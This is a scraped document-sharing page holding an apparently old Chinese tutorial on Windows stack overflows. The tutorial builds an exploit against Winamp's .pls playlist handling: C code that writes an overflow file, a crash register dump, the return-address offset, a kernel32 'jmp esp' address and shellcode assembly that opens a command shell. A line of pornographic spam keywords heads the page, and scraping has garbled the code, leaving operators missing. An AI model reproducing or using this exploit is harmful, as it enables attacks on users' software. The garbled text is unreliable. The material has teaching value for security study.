freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

windows系統(tǒng)下的堆棧溢出(編輯修改稿)

2024-10-10 16:44 本頁面
 

【文章內(nèi)容簡介】 windows 緩沖區(qū)溢出的思路。 思路是這樣的:返回地址 A的內(nèi)容不指向我們的 shellcode開始地點,否則的話A里面必然含有 0。我們知道系統(tǒng)核心的dll都是在 2- 4G,也就是從 0x80000000到 0xffffffff,這里面的指令地址將不包含0,(當然幾個別的除外,我們可以不用他)。因此,我們可以令返回地址 A等于一個系統(tǒng)核心 dll中的指令的地址,這個指令的 作用就是 call/jmp 我們的 shellcode。 但是他怎么才能知道我們的 shellcode的地址呢? 答案是:用寄存器。因為在溢出發(fā)生的時候,除了 eip跳到了系統(tǒng)核心 dll去之外,其他的通用寄存器都保持不變。在寄存器里面一定有我們的 shellcode的相關(guān)信息。比如說,敵人的函數(shù)如果有參數(shù)的話,那么我們的 A覆蓋了他的返回地址 , shellcode 的開始地址則恰恰在他的第一個參數(shù)的位置上,那我們就可以用 call [ebp+4]或者我們假設(shè)敵人第一個參數(shù)的地址在 eax,那我們就可以使用call/jmp eax來調(diào)用 shellcode。這些寄存器的值,我們可以在第一講里面提到的“關(guān)閉程序框”里面獲得寄存器和堆棧的詳細資料。 那么我們怎么知道哪里有 call/jmp eax什么的呢?我們又怎么知道這些指令是每次都在內(nèi)存中可以直接調(diào)用呢? 答案是:系統(tǒng)核心 dll。系統(tǒng)核心 dll 包括 ,dll是一直位于內(nèi)存中而且對應(yīng)于固定的版本 windows 加載的位置是固定的。你可以在這些 dll里面搜索你需要的指令。其他的 dll,比如 msvcrt。 dll 就要去看程序自己的 import列表了。看看他是否load了這個 dll。不過一般的說,這幾個dll就夠了。 好,那么我們的 shellcode最終為: NNNNNNNNNNNNNNNASSSSSSSS 其中: N為 NOP指令 A 為指向某一條 call/jmp 指令的地址,這個 call/jmp 指令位于系統(tǒng)核心內(nèi)存 0x80000000,這個 call/jmp指令具體的內(nèi)容,需要根據(jù)我們 exploit出來的結(jié)果分析得知。 S: shellcode。 有了這些基礎(chǔ)知識,我們來分析一個實例。 大家都有 winamp 吧,他的 有緩沖區(qū)漏洞,下面我們來實現(xiàn)一個 exploit。 winamp 的 playlist 支持文件 *.pls 存放playlist。 playlist里面的文件名長度如果大于一定長度就會發(fā)生堆棧溢出。我們可以寫出測試串,精確的測試。 include int main() { char buffer[640]。 char eip[8] = 。 char sploit[256] = 。 FILE *file。 for(int x=0。x640。x++) { switch(x%4) { case 0: buffer[x] = 39。A39。break。 case 1: buffer[x] = 39。A39。+x/26%26/26%26。 break。 case 2: buffer[x] = 39。A39。+x/26%26。 break。 case 3: buffer[x] = 39。A39。+x%26。break。 } } buffer[x]=0。 file = fopen(,wb)。 fprintf(file, [playlist]\n)。 fprintf(file, File1=)。 fprintf(file, %s, buffer)。 fprintf(file, %s, eip)。 fprintf(file, %s, sploit)。 fprintf(file, \nNumberOfEntries=1)。 fclose(file)。 printf(\t created file loaded with the exploit.\n)。 return 0。 } 算法很簡單,是寫出一個 ,內(nèi)容可以根據(jù)那幾個 fprintf 看出來的。我就不講了,其中 buffer 的內(nèi)容為測試用的字符串。這個測試程序可以測試最長為 26^3的串,足夠了。 編譯執(zhí)行,看看結(jié)果,嘿,發(fā)生了堆棧溢出,結(jié)果如下: WINAMP 在 00de:4c574141 的模塊 未知 中導(dǎo)致無效頁錯誤。 Registers: EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206 EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4 ECX=00000000 DS=0187 ESI=00445638 FS=4bd7 EDX=005b02dc ES=0187 EDI=00000001 GS=4206 Bytes at CS:EIP: Stack dump: 50574141 54574141 58574141 42584141 46584141 4a584141 4e584141 52584141 56584141 5a584141 44594141 48594141 4c594141 50594141 根據(jù) eip=4141574c 計算得出, addr = (57h41h)*26+(4ch41h)4 = 580. 好,溢出的位置為 580。 大家現(xiàn)在知道我們的溢出字符串中,返回地址 A應(yīng)該在串的 580處,那么我們應(yīng)該讓他使用什么 call/jmp 指令以達到shellcode呢? 看看寄存器 dump,我們發(fā)現(xiàn) ESP 里面的內(nèi)容是 41415750,恰好是 4141574c之后的第一個數(shù)。看來 ESP指向我們的shellcode,太棒了!我們使用指令: jmp ESP 就可以執(zhí)行我們的 shellcode了。 現(xiàn)在找出 jmp esp 的指令碼為 FF E4,ctrlD 調(diào)出 sice,看看內(nèi)存里面那里有 FF dll 的加載 地址都是從地址 0xBf000000開始,所以我們搜索 s Bf000000 L ffffffff ff,e4 得到了哪些結(jié)果? 一堆呀,這第一個是: BFF795A3??纯磗oftice 里 面 的 進 程 名 稱 欄 :Kernel32!GetDataFormatA+1554好,是,肯定是可以用的啦。ok,問題解決,我們現(xiàn)在可以確定在buffer〔 580〕處,寫入四個字節(jié):\xa3\x95\xf7\xbf.這就是我們的溢出字符串中的返回地址 A。 好了,現(xiàn)在溢出字符串已經(jīng)基本分析完了,就差 shellcode了。 下面我們來寫 shellcode。 我們的 shellcode 要開一個 dos 窗口。 C語言的算法描述是: LoadLibrary()。 system()。 exit(0); 很簡單,是不是?下面是匯編代碼: 首先要 LoadLibrary()。 push ebp mov ebp,esp xor eax,eax push eax push eax push eax mov byte ptr[ebp0Ch],4Dh mov byte ptr[ebp0Bh],53h mov byte ptr[ebp0Ah],56h mov byte ptr[ebp09h],43h mov byte ptr[ebp08h],52h mov byte ptr[ebp07h],54h mov byte ptr[ebp06h],2Eh mov byte ptr[ebp05h],44h mov byte ptr[ebp04h],4Ch mov byte ptr[ebp03h],4Ch mov edx,0xBFF776D4 //LoadLibrary push edx lea eax,[ebp0Ch] push eax call dword ptr[ebp10h] 然后是開一個 dos窗口: push ebp mov ebp, esp sub esp, 0000002C mov eax, 6D6D6F63 mov dword ptr [ebp0C], eax mov eax, 2E646E61 mov dword ptr [ebp08], eax
點擊復(fù)制文檔內(nèi)容
公司管理相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖片鄂ICP備17016276號-1